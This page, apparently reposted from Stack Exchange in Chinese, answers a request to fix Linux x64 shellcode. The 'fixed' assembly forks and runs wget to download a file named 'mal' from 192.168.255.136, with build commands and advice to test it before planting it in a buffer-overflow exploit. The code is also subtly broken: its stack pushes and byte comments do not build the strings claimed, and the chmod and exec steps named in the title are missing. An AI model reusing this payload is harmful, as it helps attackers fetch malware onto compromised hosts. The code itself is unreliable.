基于Linux/x64汇编的wget+chmod+exec Shellcode问题求助
问题分析与修复方案
你的shellcode未产生请求的核心问题有两个:URL缺少协议头导致wget将其视为本地文件,以及父进程未正确退出可能引发的资源问题,以下是具体修复步骤:
关键错误点
- URL格式错误:你构造的
192.168.255.136/mal没有协议头(如http://),wget默认会将其当作本地文件名而非网络URL,自然不会发起请求。 - 父进程未处理:fork后父进程直接执行后续代码退出,可能导致子进程输出被截断或出现僵尸进程。
修复后的汇编代码
_start: ; 调用fork创建子进程,x86_64系统调用号0x39 xor rax, rax mov rax, 0x39 syscall ; 父进程返回值为子进程PID,跳转到退出逻辑 test rax, rax jnz parent_exit child: xor rax, rax push rax ; 压入NULL作为字符串终止符 ; 构造完整URL: http://192.168.255.136/mal\x00 push 0x006c616d ; "\x00mal" push 0x2f363331 ; "/136" push 0x2e353532 ; ".255" push 0x2e383631 ; ".168" push 0x2e323931 ; ".192" push 0x2f2f3a70 ; ":///" push 0x74747068 ; "http" mov rsi, rsp ; rsi指向URL字符串 ; 构造wget路径: /usr/bin/wget\x00 push rax ; 压入NULL终止符 push 0x74656777 ; "wget" push 0x6e69622f ; "/bin" push 0x7273752f ; "/usr" mov rdi, rsp ; rdi指向wget路径 ; 构造execve的argv数组: ["/usr/bin/wget", "http://xxx/mal", NULL] push rax ; 数组终止NULL push rsi ; URL参数 push rdi ; 程序路径 mov rsi, rsp ; rsi指向argv数组 ; 调用execve,x86_64系统调用号0x3b mov eax, 0x3b xor rdx, rdx ; envp设为NULL syscall parent_exit: ; 父进程正常退出,避免僵尸进程,系统调用号0x3c mov eax, 0x3c xor rdi, rdi ; 退出码0 syscall
额外注意事项
- 确保目标主机
192.168.255.136的web服务正常运行,/mal路径可被访问。 - 编译shellcode时使用以下命令:
nasm -f elf64 shellcode.asm -o shellcode.o objcopy -O binary shellcode.o shellcode.bin - 可先通过C程序单独测试shellcode功能,确认wget能成功下载文件后,再植入缓冲区溢出场景。
内容的提问来源于stack exchange,提问作者0xbe61a55f
相关产品推荐
相关产品推荐

